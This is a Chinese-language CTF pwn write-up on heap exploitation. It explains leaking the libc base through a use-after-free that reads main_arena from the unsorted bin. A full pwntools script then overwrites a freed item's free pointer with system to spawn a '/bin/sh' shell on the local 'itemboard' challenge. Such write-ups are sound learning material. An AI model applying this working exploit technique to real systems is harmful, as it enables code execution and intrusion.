pwn 堆溢出之 泄露基址

先声明一下本文的参考链接

https://blog.csdn.net/weixin_34050005/article/details/86881709?tdsourcetag=s_pctim_aiomsg

这篇博客写的非常好  受教了   本来其实我是看的另一道题  但是那道题 感觉并不是很适合我这种萌新  然后我就看到了这道题 就 

由于这个篇文章写的很清楚 而且   代码直接就可以拿到flag  我决定换一个库来实验  就用我的 16.04 的 版本号 

我们先看一下运行库

pwn 堆溢出之 泄露基址_第1张图片

看的出来是 2.23.so的库 我们把他找出来 

然后 这个题的保护是 

pwn 堆溢出之 泄露基址_第2张图片

是由pie的  那么 我本来的想法 就失败了  libc的基址 不能够泄露出来 然后 这里 的话    上面的那个博客就写的非常全面 就是  :

而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。

上面就是上面链接博客的原话  这个 就是我们求出libc的地址的 原理 我们先调试一下  

申请两个堆 然后释放掉一个堆

    add('aaaa',0x80,'bbbb')
    add('cccc',0x80,'dddd')
    dele(0)

看一下 堆的变化

这里可以看的出来 是 main_arena+88的地址 main_arena的基址存放在libc中的malloc_trim()函数中  那么我们去找一下 2.23so的 malloc_trim()函数

pwn 堆溢出之 泄露基址_第3张图片

那么 main_arena 的基址就是0x3C4B20 那么我们就可以求出来我们的lib的基址

得到我们lib的基址 就能够获得我们的 system的地址   那么 我们可以利用 堆 优先考虑  最先释放的堆的地址  那么 我们可以 用uaf 的特性 来 将  临时申请的 item的free 指针 指向 system 就可以了

那么这道题 就完美结束了

#!/usr/bin/python2
#coding=utf8
from pwn import *
io=process("./itemboard")
libc=ELF("./libc6_2.23.so")
def add(name,len,context):
	io.recvuntil("choose:")
	io.sendline("1")
	io.recvuntil("Item name?")
	io.sendline(name)
	io.recvuntil("Description's len?")
	io.sendline(str(len))
	io.recvuntil("Description?")
	io.sendline(context)

def show(index):
	io.recvuntil("choose:")
	io.sendline("3")
	io.recvuntil("Which item?")
	io.sendline(str(index))

def dele(index):
	io.recvuntil("choose:")
	io.sendline("4")
	io.recvuntil("Which item?")
	io.sendline(str(index))


if __name__ =='__main__':
	add('aaaa',0x80,'bbbb')
	add('cccc',0x80,'dddd')
	dele(0)
	show(0)
	io.recvuntil("Description:")
	libc_base_addr=u64(io.recv(6).ljust(8,'\x00'))-88-0x3C4B20
	system_addr=libc_base_addr+libc.symbols['system']
	print 'system address: ',hex(system_addr)
	dele(1)

	add('aaaa',0x18,'eeee')

	dele(2)

	add('aaaa',0x18,'/bin/sh;'+'s'*8+p64(system_addr))
	dele(2)

	io.interactive()


在本地成功!

pwn 堆溢出之 泄露基址_第4张图片

你可能感兴趣的:(栈溢出,堆溢出)